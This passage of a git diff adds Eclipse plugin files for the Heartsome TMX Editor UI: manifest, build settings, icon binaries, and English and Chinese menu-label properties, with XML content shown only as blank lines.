+1,6 @@ + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/newFetureToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/newFetureToc.xml new file mode 100644 index 0000000..3e6dfab --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/newFetureToc.xml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/searchAndFilterToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/searchAndFilterToc.xml new file mode 100644 index 0000000..3c42577 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/searchAndFilterToc.xml @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/termTableToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/termTableToc.xml new file mode 100644 index 0000000..64a19d6 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/termTableToc.xml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/toolsDesToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/toolsDesToc.xml new file mode 100644 index 0000000..a8286ac --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/toolsDesToc.xml @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui.help/toc/zh/useTmxEditorToc.xml b/te/net.heartsome.cat.te.ui.help/toc/zh/useTmxEditorToc.xml new file mode 100644 index 0000000..8446e86 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/toc/zh/useTmxEditorToc.xml @@ -0,0 +1,27 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui/.classpath b/te/net.heartsome.cat.te.ui/.classpath new file mode 100644 index 0000000..8a8f166 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/te/net.heartsome.cat.te.ui/.project b/te/net.heartsome.cat.te.ui/.project new file mode 100644 index 0000000..96aabec --- /dev/null +++ b/te/net.heartsome.cat.te.ui/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.te.ui + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/te/net.heartsome.cat.te.ui/.settings/org.eclipse.jdt.core.prefs b/te/net.heartsome.cat.te.ui/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..060d594 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri May 17 14:17:28 CST 2013 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/te/net.heartsome.cat.te.ui/META-INF/MANIFEST.MF b/te/net.heartsome.cat.te.ui/META-INF/MANIFEST.MF new file mode 100644 index 0000000..c404d75 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/META-INF/MANIFEST.MF @@ -0,0 +1,37 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TE UI +Bundle-SymbolicName: net.heartsome.cat.te.ui;singleton:=true +Bundle-Version: 8.0.0.R8b_v20140103 +Bundle-Activator: net.heartsome.cat.te.ui.Activator +Bundle-Vendor: Heartsome Technologies Ltd. +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.te.core;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0", + org.eclipse.nebula.widgets.tablecombo;bundle-version="8.0.0", + org.eclipse.core.databinding;bundle-version="1.4.0", + org.eclipse.core.databinding.beans;bundle-version="1.2.100", + org.eclipse.core.databinding.property;bundle-version="1.4.0", + org.eclipse.jface.databinding;bundle-version="1.5.0", + org.eclipse.core.expressions, + net.heartsome.cat.te.tmxeditor;bundle-version="1.0.0", + org.eclipse.ui.net;bundle-version="1.2.100", + net.heartsome.xml;bundle-version="8.0.1" +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 +Bundle-ActivationPolicy: lazy +Bundle-Localization: plugin +Import-Package: net.heartsome.cat.common.bean, + net.heartsome.cat.common.locale, + net.heartsome.cat.common.ui, + net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.common.ui.languagesetting, + net.heartsome.cat.common.ui.utils, + net.heartsome.cat.common.util, + net.heartsome.cat.database, + net.heartsome.cat.database.service, + net.heartsome.cat.database.ui.bean, + net.heartsome.cat.database.ui.core +Export-Package: net.heartsome.cat.te.ui, + net.heartsome.cat.te.ui.preferencepage + diff --git a/te/net.heartsome.cat.te.ui/build.properties b/te/net.heartsome.cat.te.ui/build.properties new file mode 100644 index 0000000..5d6da65 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/build.properties @@ -0,0 +1,9 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + images/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/te/net.heartsome.cat.te.ui/images/database/database-manage.png b/te/net.heartsome.cat.te.ui/images/database/database-manage.png new file mode 100644 index 0000000..84b36b1 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/database/database-manage.png differ diff --git a/te/net.heartsome.cat.te.ui/images/database/db-manage/internaldb.png b/te/net.heartsome.cat.te.ui/images/database/db-manage/internaldb.png new file mode 100644 index 0000000..7c1a1f6 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/database/db-manage/internaldb.png differ diff --git a/te/net.heartsome.cat.te.ui/images/database/db-manage/ip.png b/te/net.heartsome.cat.te.ui/images/database/db-manage/ip.png new file mode 100644 index 0000000..42ae4a0 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/database/db-manage/ip.png differ diff --git a/te/net.heartsome.cat.te.ui/images/database/db-manage/mysql.png b/te/net.heartsome.cat.te.ui/images/database/db-manage/mysql.png new file mode 100644 index 0000000..a7a8319 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/database/db-manage/mysql.png differ diff --git a/te/net.heartsome.cat.te.ui/images/database/db-manage/oracle.png b/te/net.heartsome.cat.te.ui/images/database/db-manage/oracle.png new file mode 100644 index 0000000..1797efe Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/database/db-manage/oracle.png differ diff --git a/te/net.heartsome.cat.te.ui/images/database/db-manage/postgresql.png b/te/net.heartsome.cat.te.ui/images/database/db-manage/postgresql.png new file mode 100644 index 0000000..4b72d2f Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/database/db-manage/postgresql.png differ diff --git a/te/net.heartsome.cat.te.ui/images/database/db-manage/sqlite.png b/te/net.heartsome.cat.te.ui/images/database/db-manage/sqlite.png new file mode 100644 index 0000000..bd87be5 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/database/db-manage/sqlite.png differ diff --git a/te/net.heartsome.cat.te.ui/images/database/db-manage/sqlserver.png b/te/net.heartsome.cat.te.ui/images/database/db-manage/sqlserver.png new file mode 100644 index 0000000..963a5ae Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/database/db-manage/sqlserver.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/changeLang.png b/te/net.heartsome.cat.te.ui/images/edit/changeLang.png new file mode 100644 index 0000000..03b10d1 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/changeLang.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/changeLang_24.png b/te/net.heartsome.cat.te.ui/images/edit/changeLang_24.png new file mode 100644 index 0000000..1c4664f Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/changeLang_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/clearInnerTag.png b/te/net.heartsome.cat.te.ui/images/edit/clearInnerTag.png new file mode 100644 index 0000000..e727525 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/clearInnerTag.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/clearInnerTag_24.png b/te/net.heartsome.cat.te.ui/images/edit/clearInnerTag_24.png new file mode 100644 index 0000000..8a70b4a Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/clearInnerTag_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/clearTmx.png b/te/net.heartsome.cat.te.ui/images/edit/clearTmx.png new file mode 100644 index 0000000..abe93ed Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/clearTmx.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/clearTmx_24.png b/te/net.heartsome.cat.te.ui/images/edit/clearTmx_24.png new file mode 100644 index 0000000..6624fe2 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/clearTmx_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/copy.png b/te/net.heartsome.cat.te.ui/images/edit/copy.png new file mode 100644 index 0000000..940c99e Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/copy.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/cut.png b/te/net.heartsome.cat.te.ui/images/edit/cut.png new file mode 100644 index 0000000..d157966 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/cut.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/deleteLang.png b/te/net.heartsome.cat.te.ui/images/edit/deleteLang.png new file mode 100644 index 0000000..023cefa Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/deleteLang.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/deleteLang_24.png b/te/net.heartsome.cat.te.ui/images/edit/deleteLang_24.png new file mode 100644 index 0000000..7879fa8 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/deleteLang_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/mergeTmx.png b/te/net.heartsome.cat.te.ui/images/edit/mergeTmx.png new file mode 100644 index 0000000..7f9aa4f Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/mergeTmx.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/mergeTmx_24.png b/te/net.heartsome.cat.te.ui/images/edit/mergeTmx_24.png new file mode 100644 index 0000000..e450f0f Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/mergeTmx_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/paste.png b/te/net.heartsome.cat.te.ui/images/edit/paste.png new file mode 100644 index 0000000..24de517 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/paste.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/redo.png b/te/net.heartsome.cat.te.ui/images/edit/redo.png new file mode 100644 index 0000000..2133ef5 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/redo.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/redo_24.png b/te/net.heartsome.cat.te.ui/images/edit/redo_24.png new file mode 100644 index 0000000..5190f1a Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/redo_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/search_replace.png b/te/net.heartsome.cat.te.ui/images/edit/search_replace.png new file mode 100644 index 0000000..1a8dac4 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/search_replace.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/splitTmx.png b/te/net.heartsome.cat.te.ui/images/edit/splitTmx.png new file mode 100644 index 0000000..70b73ac Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/splitTmx.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/splitTmx_24.png b/te/net.heartsome.cat.te.ui/images/edit/splitTmx_24.png new file mode 100644 index 0000000..96357d2 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/splitTmx_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/undo.png b/te/net.heartsome.cat.te.ui/images/edit/undo.png new file mode 100644 index 0000000..dbce811 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/undo.png differ diff --git a/te/net.heartsome.cat.te.ui/images/edit/undo_24.png b/te/net.heartsome.cat.te.ui/images/edit/undo_24.png new file mode 100644 index 0000000..9122a6f Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/edit/undo_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/close.png b/te/net.heartsome.cat.te.ui/images/file/close.png new file mode 100644 index 0000000..52faf3f Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/close.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/newFile.png b/te/net.heartsome.cat.te.ui/images/file/newFile.png new file mode 100644 index 0000000..d04cf2e Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/newFile.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/newFile_24.png b/te/net.heartsome.cat.te.ui/images/file/newFile_24.png new file mode 100644 index 0000000..0e5e37d Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/newFile_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/openTmx.png b/te/net.heartsome.cat.te.ui/images/file/openTmx.png new file mode 100644 index 0000000..f7f2e94 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/openTmx.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/openTmx_24.png b/te/net.heartsome.cat.te.ui/images/file/openTmx_24.png new file mode 100644 index 0000000..7c52cef Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/openTmx_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/save.png b/te/net.heartsome.cat.te.ui/images/file/save.png new file mode 100644 index 0000000..17d07b5 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/save.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/save_24.png b/te/net.heartsome.cat.te.ui/images/file/save_24.png new file mode 100644 index 0000000..8f2800b Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/save_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/saveas.png b/te/net.heartsome.cat.te.ui/images/file/saveas.png new file mode 100644 index 0000000..b46fc80 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/saveas.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/saveas_24.png b/te/net.heartsome.cat.te.ui/images/file/saveas_24.png new file mode 100644 index 0000000..ea2f55a Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/saveas_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/tmxFileProp.png b/te/net.heartsome.cat.te.ui/images/file/tmxFileProp.png new file mode 100644 index 0000000..78c694d Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/tmxFileProp.png differ diff --git a/te/net.heartsome.cat.te.ui/images/file/tmxFileProp_24.png b/te/net.heartsome.cat.te.ui/images/file/tmxFileProp_24.png new file mode 100644 index 0000000..eb36fe1 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/file/tmxFileProp_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/help/about.bmp b/te/net.heartsome.cat.te.ui/images/help/about.bmp new file mode 100644 index 0000000..4b748d4 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/help/about.bmp differ diff --git a/te/net.heartsome.cat.te.ui/images/help/aboutIcon.png b/te/net.heartsome.cat.te.ui/images/help/aboutIcon.png new file mode 100644 index 0000000..bb46929 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/help/aboutIcon.png differ diff --git a/te/net.heartsome.cat.te.ui/images/help/help.png b/te/net.heartsome.cat.te.ui/images/help/help.png new file mode 100644 index 0000000..73f353c Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/help/help.png differ diff --git a/te/net.heartsome.cat.te.ui/images/help/key.png b/te/net.heartsome.cat.te.ui/images/help/key.png new file mode 100644 index 0000000..ad8b80c Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/help/key.png differ diff --git a/te/net.heartsome.cat.te.ui/images/help/licence.png b/te/net.heartsome.cat.te.ui/images/help/licence.png new file mode 100644 index 0000000..d11f797 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/help/licence.png differ diff --git a/te/net.heartsome.cat.te.ui/images/help/update.png b/te/net.heartsome.cat.te.ui/images/help/update.png new file mode 100644 index 0000000..71951f7 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/help/update.png differ diff --git a/te/net.heartsome.cat.te.ui/images/perspective/tmx_16.png b/te/net.heartsome.cat.te.ui/images/perspective/tmx_16.png new file mode 100644 index 0000000..bd20b51 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/perspective/tmx_16.png differ diff --git a/te/net.heartsome.cat.te.ui/images/preference/system/font.png b/te/net.heartsome.cat.te.ui/images/preference/system/font.png new file mode 100644 index 0000000..e2850d7 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/preference/system/font.png differ diff --git a/te/net.heartsome.cat.te.ui/images/preference/system/keys.png b/te/net.heartsome.cat.te.ui/images/preference/system/keys.png new file mode 100644 index 0000000..ad8b80c Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/preference/system/keys.png differ diff --git a/te/net.heartsome.cat.te.ui/images/preference/system/network.png b/te/net.heartsome.cat.te.ui/images/preference/system/network.png new file mode 100644 index 0000000..02a32d5 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/preference/system/network.png differ diff --git a/te/net.heartsome.cat.te.ui/images/preference/system/sys_keys_32.png b/te/net.heartsome.cat.te.ui/images/preference/system/sys_keys_32.png new file mode 100644 index 0000000..9906d22 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/preference/system/sys_keys_32.png differ diff --git a/te/net.heartsome.cat.te.ui/images/preference/system/sys_update_32.png b/te/net.heartsome.cat.te.ui/images/preference/system/sys_update_32.png new file mode 100644 index 0000000..4f0ee01 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/preference/system/sys_update_32.png differ diff --git a/te/net.heartsome.cat.te.ui/images/preference/system/sys_user_32.png b/te/net.heartsome.cat.te.ui/images/preference/system/sys_user_32.png new file mode 100644 index 0000000..f9cee63 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/preference/system/sys_user_32.png differ diff --git a/te/net.heartsome.cat.te.ui/images/preference/system/system.png b/te/net.heartsome.cat.te.ui/images/preference/system/system.png new file mode 100644 index 0000000..4211f54 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/preference/system/system.png differ diff --git a/te/net.heartsome.cat.te.ui/images/tool/filePair.png b/te/net.heartsome.cat.te.ui/images/tool/filePair.png new file mode 100644 index 0000000..2f8d20b Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/tool/filePair.png differ diff --git a/te/net.heartsome.cat.te.ui/images/tool/filePair_24.png b/te/net.heartsome.cat.te.ui/images/tool/filePair_24.png new file mode 100644 index 0000000..fd74056 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/tool/filePair_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/tool/option.png b/te/net.heartsome.cat.te.ui/images/tool/option.png new file mode 100644 index 0000000..09d90ec Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/tool/option.png differ diff --git a/te/net.heartsome.cat.te.ui/images/tool/others2tmx.png b/te/net.heartsome.cat.te.ui/images/tool/others2tmx.png new file mode 100644 index 0000000..d534ceb Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/tool/others2tmx.png differ diff --git a/te/net.heartsome.cat.te.ui/images/tool/others2tmx_24.png b/te/net.heartsome.cat.te.ui/images/tool/others2tmx_24.png new file mode 100644 index 0000000..d841d57 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/tool/others2tmx_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/tool/tmx2others.png b/te/net.heartsome.cat.te.ui/images/tool/tmx2others.png new file mode 100644 index 0000000..b7c4aea Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/tool/tmx2others.png differ diff --git a/te/net.heartsome.cat.te.ui/images/tool/tmx2others_24.png b/te/net.heartsome.cat.te.ui/images/tool/tmx2others_24.png new file mode 100644 index 0000000..2e01b59 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/tool/tmx2others_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/tool/tmxValidator.png b/te/net.heartsome.cat.te.ui/images/tool/tmxValidator.png new file mode 100644 index 0000000..4ed5d45 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/tool/tmxValidator.png differ diff --git a/te/net.heartsome.cat.te.ui/images/tool/tmxValidator_24.png b/te/net.heartsome.cat.te.ui/images/tool/tmxValidator_24.png new file mode 100644 index 0000000..a176bdc Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/tool/tmxValidator_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/view/addProp.png b/te/net.heartsome.cat.te.ui/images/view/addProp.png new file mode 100644 index 0000000..83fdb2b Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/view/addProp.png differ diff --git a/te/net.heartsome.cat.te.ui/images/view/addProp_24.png b/te/net.heartsome.cat.te.ui/images/view/addProp_24.png new file mode 100644 index 0000000..981ba83 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/view/addProp_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/view/deleteProp.png b/te/net.heartsome.cat.te.ui/images/view/deleteProp.png new file mode 100644 index 0000000..b4231b6 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/view/deleteProp.png differ diff --git a/te/net.heartsome.cat.te.ui/images/view/deleteProp_24.png b/te/net.heartsome.cat.te.ui/images/view/deleteProp_24.png new file mode 100644 index 0000000..badc1ee Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/view/deleteProp_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/view/editProp.png b/te/net.heartsome.cat.te.ui/images/view/editProp.png new file mode 100644 index 0000000..ab0db4f Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/view/editProp.png differ diff --git a/te/net.heartsome.cat.te.ui/images/view/editProp_24.png b/te/net.heartsome.cat.te.ui/images/view/editProp_24.png new file mode 100644 index 0000000..30be337 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/view/editProp_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/view/filter.png b/te/net.heartsome.cat.te.ui/images/view/filter.png new file mode 100644 index 0000000..9eb435b Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/view/filter.png differ diff --git a/te/net.heartsome.cat.te.ui/images/view/filter_24.png b/te/net.heartsome.cat.te.ui/images/view/filter_24.png new file mode 100644 index 0000000..4ad0f08 Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/view/filter_24.png differ diff --git a/te/net.heartsome.cat.te.ui/images/view/propView.png b/te/net.heartsome.cat.te.ui/images/view/propView.png new file mode 100644 index 0000000..eb1d3aa Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/view/propView.png differ diff --git a/te/net.heartsome.cat.te.ui/images/view/propView_24.png b/te/net.heartsome.cat.te.ui/images/view/propView_24.png new file mode 100644 index 0000000..abbb75a Binary files /dev/null and b/te/net.heartsome.cat.te.ui/images/view/propView_24.png differ diff --git a/te/net.heartsome.cat.te.ui/plugin.properties b/te/net.heartsome.cat.te.ui/plugin.properties new file mode 100644 index 0000000..8a0b209 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/plugin.properties @@ -0,0 +1,45 @@ +category.file = \u6587\u4ef6 +menu.file.newtmxfile = \u65b0\u5efa TMX \u6587\u4ef6... +menu.file.opentmxfile = \u6253\u5f00 TMX \u6587\u4ef6... +menu.file.opentmxdb = \u8fde\u63a5\u8bb0\u5fc6\u5e93 +menu.file.opentmxfiledb =\u6587\u4ef6\u578b\u8bb0\u5fc6\u5e93... +menu.file.opentmxserverdb =\u670d\u52a1\u5668\u8bb0\u5fc6\u5e93... +menu.file.closetmx = \u5173\u95ed +menu.file.save = \u4fdd\u5b58 +menu.file.saveas = \u5bfc\u51fa... +menu.file.tmxfileprop = \u5c5e\u6027... + +menu.edit.undo = \u64a4\u9500 +menu.edit.redo = \u91cd\u505a +menu.edit.copy = \u590d\u5236 +menu.edit.cut = \u526a\u5207 +menu.edit.paste = \u7c98\u8d34 +menu.edit.findReplace = \u67e5\u627e\u548c\u66ff\u6362 +menu.edit.splitTmx=\u5206\u5272 TMX... +menu.edit.mergeTmx=\u5408\u5e76 TMX... + +menu.tool=\u5de5\u5177(&T) +menu.tool.tmx2other=TMX \u8f6c\u6362\u4e3a... +menu.tool.other2tmx=\u8f6c\u6362\u4e3a TMX... +menu.tool.encodingcoverter = \u8f6c\u6362 TMX \u6587\u4ef6\u7f16\u7801... +menu.tool.options=\u9009\u9879... +menu.tool.tmxVvlidator = \u4fee\u590d TMX \u6587\u4ef6... +menu.tool.tool.category=\u5de5\u5177 +menu.tool.task.category=\u4efb\u52a1 +menu.tool.pairFile=\u6587\u4ef6\u914d\u5bf9 +menu.tool.system=\u7cfb\u7edf +menu.tool.connect.net=\u7f51\u7edc\u8fde\u63a5 +menu.tool.keyset=\u5feb\u6377\u952e + +menu.task.deleteEmptySegment=\u5220\u9664\u7a7a\u884c +menu.task.deleteDuplicateSegment=\u5220\u9664\u91cd\u590d\u7684\u884c +menu.task.deleteSameSrcSegmentDiffTgtSegment=\u5220\u9664\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u884c +menu.task.deleteTrimSegment=\u5220\u9664\u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c +menu.task.deleteBatchJobs=\u6e05\u7406 TM... +menu.task.changLangCode=\u66f4\u6539\u8bed\u8a00\u4ee3\u7801 +menu.task.deleteLangCode=\u5220\u9664\u6307\u5b9a\u8bed\u8a00 +menu.task.cleanInnerTags=\u6e05\u9664\u6240\u6709\u6807\u8bb0 +menu.task.cleanSelectInnerTags=\u5220\u9664\u9009\u4e2d\u884c\u6240\u6709\u6807\u8bb0 + +menu.help.about = \u5173\u4e8e Heartsome TMX Editor +menu.help.keyAssist = \u5feb\u6377\u952e \ No newline at end of file diff --git a/te/net.heartsome.cat.te.ui/plugin.xml b/te/net.heartsome.cat.te.ui/plugin.xml new file mode 100644 index 0000000..dab0db4 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/plugin.xml @@ -0,0 +1,887 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/te/net.heartsome.cat.te.ui/plugin_en.properties b/te/net.heartsome.cat.te.ui/plugin_en.properties new file mode 100644 index 0000000..2155184 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/plugin_en.properties @@ -0,0 +1,45 @@ +category.file = File +menu.file.newtmxfile = New TMX File... +menu.file.opentmxfile = Open TMX File... +menu.file.opentmxdb = Connect to +menu.file.opentmxfiledb =File-based TM... +menu.file.opentmxserverdb =Server-based TM... +menu.file.closetmx = Close +menu.file.save = Save +menu.file.saveas = Export... +menu.file.tmxfileprop = Properties... + +menu.edit.undo = Undo +menu.edit.redo = Redo +menu.edit.copy = Copy +menu.edit.cut = Cut +menu.edit.paste = Paste +menu.edit.findReplace = Find and Replace +menu.edit.splitTmx=Split TMX... +menu.edit.mergeTmx=Merge TMX... + +menu.tool=&Tools +menu.tool.tmx2other=Convert TMX to... +menu.tool.other2tmx=Convert to TMX... +menu.tool.encodingcoverter = Convert TMX Encoding... +menu.tool.options=Options... +menu.tool.tmxVvlidator = Repair TMX File... +menu.tool.tool.category=Tools +menu.tool.task.category=Task +menu.tool.pairFile=Align +menu.tool.system=System +menu.tool.connect.net=Network Connection +menu.tool.keyset=Shortcuts + +menu.task.deleteEmptySegment=Delete untranslated segments +menu.task.deleteDuplicateSegment=Delete repetitions +menu.task.deleteSameSrcSegmentDiffTgtSegment=Delete segments with same source but inconsistent translations +menu.task.deleteTrimSegment=Delete leading/trailing spaces +menu.task.deleteBatchJobs=Clean Up TM... +menu.task.changLangCode=Change Language Code +menu.task.deleteLangCode=Delete Language +menu.task.cleanInnerTags=Delete All Tags +menu.task.cleanSelectInnerTags=Delete All Tags in Selection + +menu.help.about = About Heartsome TMX Editor +menu.help.keyAssist = Shortcuts \ No newline at end of file diff --git a/te/net.heartsome.cat.te.ui/plugin_zh.properties b/te/net.heartsome.cat.te.ui/plugin_zh.properties new file mode 100644 index 0000000..8a0b209 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/plugin_zh.properties @@ -0,0 +1,45 @@ +category.file = \u6587\u4ef6 +menu.file.newtmxfile = \u65b0\u5efa TMX 